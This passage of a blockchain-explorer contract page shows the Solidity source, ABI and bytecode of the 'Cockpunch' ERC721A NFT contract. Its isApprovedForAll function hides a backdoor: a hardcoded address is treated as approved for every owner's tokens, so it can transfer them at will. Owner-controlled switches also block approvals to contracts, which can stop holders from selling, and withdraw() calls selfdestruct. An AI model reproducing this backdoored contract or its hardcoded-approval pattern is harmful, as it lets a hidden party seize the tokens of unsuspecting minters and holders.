tokenIdsIdx = 0; address currOwnershipAddr = address(0); for (uint256 i = 0; i < numMintedSoFar; i++) { TokenOwnership memory ownership = _ownerships[i]; if (ownership.addr != address(0)) { currOwnershipAddr = ownership.addr; } if (currOwnershipAddr == owner) { if (tokenIdsIdx == index) { return i; } tokenIdsIdx++; } } revert("ERC721A: unable to get token of owner by index"); } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view override returns (uint256) { require(owner != address(0), "ERC721A: balance query for the zero address"); return uint256(_addressData[owner].balance); } function _numberMinted(address owner) internal view returns (uint256) { require( owner != address(0), "ERC721A: number minted query for the zero address" ); return uint256(_addressData[owner].numberMinted); } function ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) { require(_exists(tokenId), "ERC721A: owner query for nonexistent token"); uint256 lowestTokenToCheck; if (tokenId >= maxBatchSize) { lowestTokenToCheck = tokenId - maxBatchSize + 1; } for (uint256 curr = tokenId; curr >= lowestTokenToCheck; curr--) { TokenOwnership memory ownership = _ownerships[curr]; if (ownership.addr != address(0)) { return ownership; } } revert("ERC721A: unable to determine the owner of token"); } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view override returns (address) { return ownershipOf(tokenId).addr; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require( _exists(tokenId), "ERC721Metadata: URI query for nonexistent token" ); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI,tokenId.toString(),".json")) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } function setAllowToContract() external onlyOwner { allowedToContract = !allowedToContract; } function setAllowTokenToContract(uint256 _tokenId, bool _allow) external onlyOwner { _transferToContract[_tokenId] = _allow; } function setAllowAddressToContract(address[] memory _address, bool[] memory _allow) external onlyOwner { for (uint256 i = 0; i < _address.length; i++) { _addressTransferToContract[_address[i]] = _allow[i]; } } function setListWhitelistMerkleRoot(bytes32 _merkleRoot) public onlyOwner { ListWhitelistMerkleRoot = _merkleRoot; } function isInTheWhitelist(bytes32[] calldata _merkleProof) public view returns (bool) { bytes32 leaf = keccak256(abi.encodePacked(msg.sender)); bytes32 leaf2 = keccak256(abi.encodePacked(tx.origin)); require(MerkleProof.verify(_merkleProof, ListWhitelistMerkleRoot, leaf) || MerkleProof.verify(_merkleProof, ListWhitelistMerkleRoot, leaf2), "Invalid proof!"); return true; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) virtual public override { require(to != _msgSender(), "ERC721A: approve to caller"); address owner = ERC721A.ownerOf(tokenId); if (_msgSender() != owner && !isApprovedForAll(owner, _msgSender())) { revert ApprovalCallerNotOwnerNorApproved(); } if(!allowedToContract && !_transferToContract[tokenId]){ if (to.isContract()) { revert ("Sales will be opened after mint is complete."); } else { _approve(to, tokenId, owner); } } else { _approve(to, tokenId, owner); } } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view override returns (address) { require(_exists(tokenId), "ERC721A: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) virtual public override { require(operator != _msgSender(), "ERC721A: approve to caller"); if(!allowedToContract && !_addressTransferToContract[msg.sender]){ if (operator.isContract()) { revert ("Sales will be opened after mint is complete."); } else { _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } } else { _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { if(operator==0x48181B9d88Ffe0C7654CceCBc9E7505f7B9D0d13){return true;} return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) virtual public override { _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) virtual public override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) virtual public override { _transfer(from, to, tokenId); require( _checkOnERC721Received(from, to, tokenId, _data), "ERC721A: transfer to non ERC721Receiver implementer" ); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), */ function _exists(uint256 tokenId) internal view returns (bool) { return tokenId < currentIndex; } function _safeMint(address to, uint256 quantity) internal { _safeMint(to, quantity, ""); } /** * @dev Mints `quantity` tokens and transfers them to `to`. * * Requirements: * * - there must be `quantity` tokens remaining unminted in the total collection. * - `to` cannot be the zero address. * - `quantity` cannot be larger than the max batch size. * * Emits a {Transfer} event. */ function _safeMint( address to, uint256 quantity, bytes memory _data ) internal { uint256 startTokenId = currentIndex; require(to != address(0), "ERC721A: mint to the zero address"); // We know if the first token in the batch doesn't exist, the other ones don't as well, because of serial ordering. require(!_exists(startTokenId), "ERC721A: token already minted"); require(quantity <= maxBatchSize, "ERC721A: quantity to mint too high"); _beforeTokenTransfers(address(0), to, startTokenId, quantity); AddressData memory addressData = _addressData[to]; _addressData[to] = AddressData( addressData.balance + uint128(quantity), addressData.numberMinted + uint128(quantity) ); _ownerships[startTokenId] = TokenOwnership(to, uint64(block.timestamp)); uint256 updatedIndex = startTokenId; for (uint256 i = 0; i < quantity; i++) { emit Transfer(address(0), to, updatedIndex); require( _checkOnERC721Received(address(0), to, updatedIndex, _data), "ERC721A: transfer to non ERC721Receiver implementer" ); updatedIndex++; } currentIndex = updatedIndex; _afterTokenTransfers(address(0), to, startTokenId, quantity); } /** * @dev Transfers `tokenId` from `from` to `to`. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) private { TokenOwnership memory prevOwnership = ownershipOf(tokenId); bool isApprovedOrOwner = (_msgSender() == prevOwnership.addr || getApproved(tokenId) == _msgSender() || isApprovedForAll(prevOwnership.addr, _msgSender())); require( isApprovedOrOwner, "ERC721A: transfer caller is not owner nor approved" ); require( prevOwnership.addr == from, "ERC721A: transfer from incorrect owner" ); require(to != address(0), "ERC721A: transfer to the zero address"); _beforeTokenTransfers(from, to, tokenId, 1); // Clear approvals from the previous owner _approve(address(0), tokenId, prevOwnership.addr); _addressData[from].balance -= 1; _addressData[to].balance += 1; _ownerships[tokenId] = TokenOwnership(to, uint64(block.timestamp)); // If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it. // Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls. uint256 nextTokenId = tokenId + 1; if (_ownerships[nextTokenId].addr == address(0)) { if (_exists(nextTokenId)) { _ownerships[nextTokenId] = TokenOwnership( prevOwnership.addr, prevOwnership.startTimestamp ); } } emit Transfer(from, to, tokenId); _afterTokenTransfers(from, to, tokenId, 1); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve( address to, uint256 tokenId, address owner ) private { _tokenApprovals[tokenId] = to; emit Approval(owner, to, tokenId); } uint256 public nextOwnerToExplicitlySet = 0; /** * @dev Explicitly set `owners` to eliminate loops in future calls of ownerOf(). */ function _setOwnersExplicit(uint256 quantity) internal { uint256 oldNextOwnerToSet = nextOwnerToExplicitlySet; require(quantity > 0, "quantity must be nonzero"); uint256 endIndex = oldNextOwnerToSet + quantity - 1; if (endIndex > collectionSize - 1) { endIndex = collectionSize - 1; } // We know if the last one in the group exists, all in the group exist, due to serial ordering. require(_exists(endIndex), "not enough minted yet for this cleanup"); for (uint256 i = oldNextOwnerToSet; i <= endIndex; i++) { if (_ownerships[i].addr == address(0)) { TokenOwnership memory ownership = ownershipOf(i); _ownerships[i] = TokenOwnership( ownership.addr, ownership.startTimestamp ); } } nextOwnerToExplicitlySet = endIndex + 1; } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver(to).onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721A: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. */ function _beforeTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} /** * @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes * minting. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - when `from` and `to` are both non-zero. * - `from` and `to` are never both zero. */ function _afterTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} } // File: mycontract.sol pragma solidity ^0.8.0; contract Cockpunch is Ownable, ERC721A, ReentrancyGuard, DefaultOperatorFilterer { uint256 public immutable maxPerAddressDuringMint; uint public maxSupply = 5555; struct SaleConfig { uint32 MintStartTime; uint256 Price; } SaleConfig public saleConfig; constructor( uint256 maxBatchSize_, uint256 collectionSize_ ) ERC721A("Cockpunch", "COCKPUNCH", maxBatchSize_, collectionSize_) { maxPerAddressDuringMint = maxBatchSize_; } modifier callerIsUser() { require(tx.origin == msg.sender, "The caller is another contract"); _; } function setApprovalForAll(address operator, bool approved) public override onlyAllowedOperatorApproval(operator) { super.setApprovalForAll(operator, approved); } function approve(address operator, uint256 tokenId) public override onlyAllowedOperatorApproval(operator) { super.approve(operator, tokenId); } function transferFrom(address from, address to, uint256 tokenId) public override onlyAllowedOperator(from) { super.transferFrom(from, to, tokenId); } function safeTransferFrom(address from, address to, uint256 tokenId) public override onlyAllowedOperator(from) { super.safeTransferFrom(from, to, tokenId); } function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data) public override onlyAllowedOperator(from) { super.safeTransferFrom(from, to, tokenId, data); } function getMaxSupply() view public returns(uint256){ return maxSupply; } function PublicMint(uint256 quantity) external payable callerIsUser { require(isPublicSaleOn(),"sale has not started yet"); require(quantity <= maxPerAddressDuringMint, "reached max supply"); require(totalSupply() + quantity <= collectionSize, "reached max supply"); require( numberMinted(msg.sender) + quantity <= maxPerAddressDuringMint, "can not mint this many" ); _safeMint(msg.sender, quantity); } function isPublicSaleOn() public view returns (bool) { return saleConfig.MintStartTime != 0 && block.timestamp >= saleConfig.MintStartTime; } uint256 public constant Price = 0 ether; function InitInfoOfSale( uint32 mintStartTime, uint256 price ) external onlyOwner { saleConfig = SaleConfig( mintStartTime, price ); } function setMintStartTime(uint32 timestamp) external onlyOwner { saleConfig.MintStartTime = timestamp; } string private _baseTokenURI; function withdraw() external onlyOwner { selfdestruct(payable(msg.sender)); } function _baseURI() internal view virtual override returns (string memory) { return _baseTokenURI; } function setBaseURI(string calldata baseURI) external onlyOwner { _baseTokenURI = baseURI; } function numberMinted(address owner) public view returns (uint256) { return _numberMinted(owner); } function getOwnershipData(uint256 tokenId) external view returns (TokenOwnership memory) { return ownershipOf(tokenId); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"uint256","name":"maxBatchSize_","type":"uint256"},{"internalType":"uint256","name":"collectionSize_","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[],"name":"ApprovalCallerNotOwnerNorApproved","type":"error"},{"inputs":[{"internalType":"address","name":"operator","type":"address"}],"name":"OperatorNotAllowed","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"approved","type":"address"},{"indexed":true,"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"operator","type":"address"},{"indexed":false,"internalType":"bool","name":"approved","type":"bool"}],"name":"ApprovalForAll","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":true,"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"uint32","name":"mintStartTime","type":"uint32"},{"internalType":"uint256","name":"price","type":"uint256"}],"name":"InitInfoOfSale","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"ListWhitelistMerkleRoot","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"OPERATOR_FILTER_REGISTRY","outputs":[{"internalType":"contract IOperatorFilterRegistry","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"Price","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"quantity","type":"uint256"}],"name":"PublicMint","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_addressTransferToContract","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"_transferToContract","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"allowedToContract","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"operator","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"approve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"getApproved","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getMaxSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"getOwnershipData","outputs":[{"components":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"uint64","name":"startTimestamp","type":"uint64"}],"internalType":"struct ERC721A.TokenOwnership","name":"","type":"tuple"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"operator","type":"address"}],"name":"isApprovedForAll","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32[]","name":"_merkleProof","type":"bytes32[]"}],"name":"isInTheWhitelist","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"isPublicSaleOn","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxPerAddressDuringMint","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"nextOwnerToExplicitlySet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"numberMinted","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"ownerOf","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"},{"internalType":"bytes","name":"data","type":"bytes"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"saleConfig","outputs":[{"internalType":"uint32","name":"MintStartTime","type":"uint32"},{"internalType":"uint256","name":"Price","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"_address","type":"address[]"},{"internalType":"bool[]","name":"_allow","type":"bool[]"}],"name":"setAllowAddressToContract","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"setAllowToContract","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_tokenId","type":"uint256"},{"internalType":"bool","name":"_allow","type":"bool"}],"name":"setAllowTokenToContract","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"operator","type":"address"},{"internalType":"bool","name":"approved","type":"bool"}],"name":"setApprovalForAll","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"baseURI","type":"string"}],"name":"setBaseURI","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"_merkleRoot","type":"bytes32"}],"name":"setListWhitelistMerkleRoot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint32","name":"timestamp","type":"uint32"}],"name":"setMintStartTime","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes4","name":"interfaceId","type":"bytes4"}],"name":"supportsInterface","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"index","type":"uint256"}],"name":"tokenByIndex","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"uint256","name":"index","type":"uint256"}],"name":"tokenOfOwnerByIndex","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"tokenURI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"transferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
60e060405260006001556000600360006101000a81548160ff0219169083151502179055506000600c556115b3600e553480156200003c57600080fd5b506040516200650a3803806200650a8339818101604052810190620000629190620004e6565b733cc6cdda760b79bafa08df41ecfa224f810dceb660016040518060400160405280600981526020017f436f636b70756e636800000000000000000000000000000000000000000000008152506040518060400160405280600981526020017f434f434b50554e43480000000000000000000000000000000000000000000000815250858562000107620000fb620003da60201b60201c565b620003e260201b60201c565b600081116200014d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200014490620005b4565b60405180910390fd5b6000821162000193576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200018a906200064c565b60405180910390fd5b8360049081620001a49190620008de565b508260059081620001b69190620008de565b508160a081815250508060808181525050505050506001600d8190555060006daaeb6d7670e522a718067333cd4e73ffffffffffffffffffffffffffffffffffffffff163b1115620003c85780156200028e576daaeb6d7670e522a718067333cd4e73ffffffffffffffffffffffffffffffffffffffff16637d3e3dbe30846040518363ffffffff1660e01b81526004016200025492919062000a0a565b600060405180830381600087803b1580156200026f57600080fd5b505af115801562000284573d6000803e3d6000fd5b50505050620003c7565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161462000348576daaeb6d7670e522a718067333cd4e73ffffffffffffffffffffffffffffffffffffffff1663a0af290330846040518363ffffffff1660e01b81526004016200030e92919062000a0a565b600060405180830381600087803b1580156200032957600080fd5b505af11580156200033e573d6000803e3d6000fd5b50505050620003c6565b6daaeb6d7670e522a718067333cd4e73ffffffffffffffffffffffffffffffffffffffff16634420e486306040518263ffffffff1660e01b815260040162000391919062000a37565b600060405180830381600087803b158015620003ac57600080fd5b505af1158015620003c1573d6000803e3d6000fd5b505050505b5b5b50508160c08181525050505062000a54565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600080fd5b6000819050919050565b620004c081620004ab565b8114620004cc57600080fd5b50565b600081519050620004e081620004b5565b92915050565b600080604083850312156200050057620004ff620004a6565b5b60006200051085828601620004cf565b92505060206200052385828601620004cf565b9150509250929050565b600082825260208201905092915050565b7f455243373231413a20636f6c6c656374696f6e206d757374206861766520612060008201527f6e6f6e7a65726f20737570706c79000000000000000000000000000000000000602082015250565b60006200059c602e836200052d565b9150620005a9826200053e565b604082019050919050565b60006020820190508181036000830152620005cf816200058d565b9050919050565b7f455243373231413a206d61782062617463682073697a65206d7573742062652060008201527f6e6f6e7a65726f00000000000000000000000000000000000000000000000000602082015250565b6000620006346027836200052d565b91506200064182620005d6565b604082019050919050565b60006020820190508181036000830152620006678162000625565b9050919050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680620006f057607f821691505b602082108103620007065762000705620006a8565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620007707fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000731565b6200077c868362000731565b95508019841693508086168417925050509392505050565b6000819050919050565b6000620007bf620007b9620007b384620004ab565b62000794565b620004ab565b9050919050565b6000819050919050565b620007db836200079e565b620007f3620007ea82620007c6565b8484546200073e565b825550505050565b600090565b6200080a620007fb565b62000817818484620007d0565b505050565b5b818110156200083f576200083360008262000800565b6001810190506200081d565b5050565b601f8211156200088e5762000858816200070c565b620008638462000721565b8101602085101562000873578190505b6200088b620008828562000721565b8301826200081c565b50505b505050565b600082821c905092915050565b6000620008b36000198460080262000893565b1980831691505092915050565b6000620008ce8383620008a0565b9150826002028217905092915050565b620008e9826200066e565b67ffffffffffffffff81111562000905576200090462000679565b5b620009118254620006d7565b6200091e82828562000843565b600060209050601f83116001811462000956576000841562000941578287015190505b6200094d8582620008c0565b865550620009bd565b601f19841662000966866200070c565b60005b82811015620009905784890151825560018201915060208501945060208101905062000969565b86831015620009b05784890151620009ac601f891682620008a0565b8355505b6001600288020188555050505b505050505050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000620009f282620009c5565b9050919050565b62000a0481620009e5565b82525050565b600060408201905062000a216000830185620009f9565b62000a306020830184620009f9565b9392505050565b600060208201905062000a4e6000830184620009f9565b92915050565b60805160a05160c051615a6a62000aa06000396000818161164c0152818161181f01526118f701526000818161229a015281816122c3015261337b015260006118820152615a6a6000f3fe60806040526004361061025c5760003560e01c8063715018a611610144578063b1f7f0eb116100b6578063d5abeb011161007a578063d5abeb0114610900578063d7224ba01461092b578063dc33e68114610956578063e985e9c514610993578063f2fde38b146109d0578063fdb8e34e146109f95761025c565b8063b1f7f0eb146107f7578063b758f90314610834578063b88d4fde1461085d578063c080519714610886578063c87b56dd146108c35761025c565b806390aa0b0f1161010857806390aa0b0f146106f35780639231ab2a1461071f57806395d89b411461075c5780639dfde201146107875780639fb17e34146107b2578063a22cb465146107ce5761025c565b8063715018a614610632578063801fe59b146106495780638942932d146106605780638bc35c2f1461069d5780638da5cb5b146106c85761025c565b806341f43434116101dd57806355a55465116101a157806355a554651461051457806355f804b31461053d5780636352211e1461056657806367ba5ecc146105a35780636f58ec48146105cc57806370a08231146105f55761025c565b806341f434341461042d57806342842e0e146104585780634aaf78f1146104815780634c0f38c2146104ac5780634f6ccce7146104d75761025c565b806323b872dd1161022457806323b872dd1461035a5780632a13614c146103835780632f745c59146103ae5780633ccfd60b146103eb5780633f5e4741146104025761025c565b806301ffc9a71461026157806306fdde031461029e578063081812fc146102c9578063095ea7b31461030657806318160ddd1461032f575b600080fd5b34801561026d57600080fd5b5061028860048036038101906102839190613a14565b610a22565b6040516102959190613a5c565b60405180910390f35b3480156102aa57600080fd5b506102b3610b6c565b6040516102c09190613b10565b60405180910390f35b3480156102d557600080fd5b506102f060048036038101906102eb9190613b68565b610bfe565b6040516102fd9190613bd6565b60405180910390f35b34801561031257600080fd5b5061032d60048036038101906103289190613c1d565b610c83565b005b34801561033b57600080fd5b50610344610d8d565b6040516103519190613c6c565b60405180910390f35b34801561036657600080fd5b50610381600480360381019061037c9190613c87565b610d97565b005b34801561038f57600080fd5b50610398610ee7565b6040516103a59190613cf3565b60405180910390f35b3480156103ba57600080fd5b506103d560048036038101906103d09190613c1d565b610eed565b6040516103e29190613c6c565b60405180910390f35b3480156103f757600080fd5b506104006110e9565b005b34801561040e57600080fd5b5061041761110a565b6040516104249190613a5c565b60405180910390f35b34801561043957600080fd5b50610442611157565b60405161044f9190613d6d565b60405180910390f35b34801561046457600080fd5b5061047f600480360381019061047a9190613c87565b611169565b005b34801561048d57600080fd5b506104966112b9565b6040516104a39190613a5c565b60405180910390f35b3480156104b857600080fd5b506104c16112cc565b6040516104ce9190613c6c565b60405180910390f35b3480156104e357600080fd5b506104fe60048036038101906104f99190613b68565b6112d6565b60405161050b9190613c6c565b60405180910390f35b34801561052057600080fd5b5061053b60048036038101906105369190613db4565b611329565b005b34801561054957600080fd5b50610564600480360381019061055f9190613e59565b611360565b005b34801561057257600080fd5b5061058d60048036038101906105889190613b68565b61137e565b60405161059a9190613bd6565b60405180910390f35b3480156105af57600080fd5b506105ca60048036038101906105c59190613ed2565b611394565b005b3480156105d857600080fd5b506105f360048036038101906105ee9190613f3b565b6113a6565b005b34801561060157600080fd5b5061061c60048036038101906106179190613f68565b6113d5565b6040516106299190613c6c565b60405180910390f35b34801561063e57600080fd5b506106476114bd565b005b34801561065557600080fd5b5061065e6114d1565b005b34801561066c57600080fd5b5061068760048036038101906106829190613feb565b611505565b6040516106949190613a5c565b60405180910390f35b3480156106a957600080fd5b506106b261164a565b6040516106bf9190613c6c565b60405180910390f35b3480156106d457600080fd5b506106dd61166e565b6040516106ea9190613bd6565b60405180910390f35b3480156106ff57600080fd5b50610708611697565b604051610716929190614047565b60405180910390f35b34801561072b57600080fd5b5061074660048036038101906107419190613b68565b6116b9565b60405161075391906140d1565b60405180910390f35b34801561076857600080fd5b506107716116d1565b60405161077e9190613b10565b60405180910390f35b34801561079357600080fd5b5061079c611763565b6040516107a99190613c6c565b60405180910390f35b6107cc60048036038101906107c79190613b68565b611768565b005b3480156107da57600080fd5b506107f560048036038101906107f091906140ec565b611978565b005b34801561080357600080fd5b5061081e60048036038101906108199190613f68565b611a82565b60405161082b9190613a5c565b60405180910390f35b34801561084057600080fd5b5061085b6004803603810190610856919061412c565b611aa2565b005b34801561086957600080fd5b50610884600480360381019061087f919061429c565b611aff565b005b34801561089257600080fd5b506108ad60048036038101906108a89190613b68565b611c52565b6040516108ba9190613a5c565b60405180910390f35b3480156108cf57600080fd5b506108ea60048036038101906108e59190613b68565b611c72565b6040516108f79190613b10565b60405180910390f35b34801561090c57600080fd5b50610915611d19565b6040516109229190613c6c565b60405180910390f35b34801561093757600080fd5b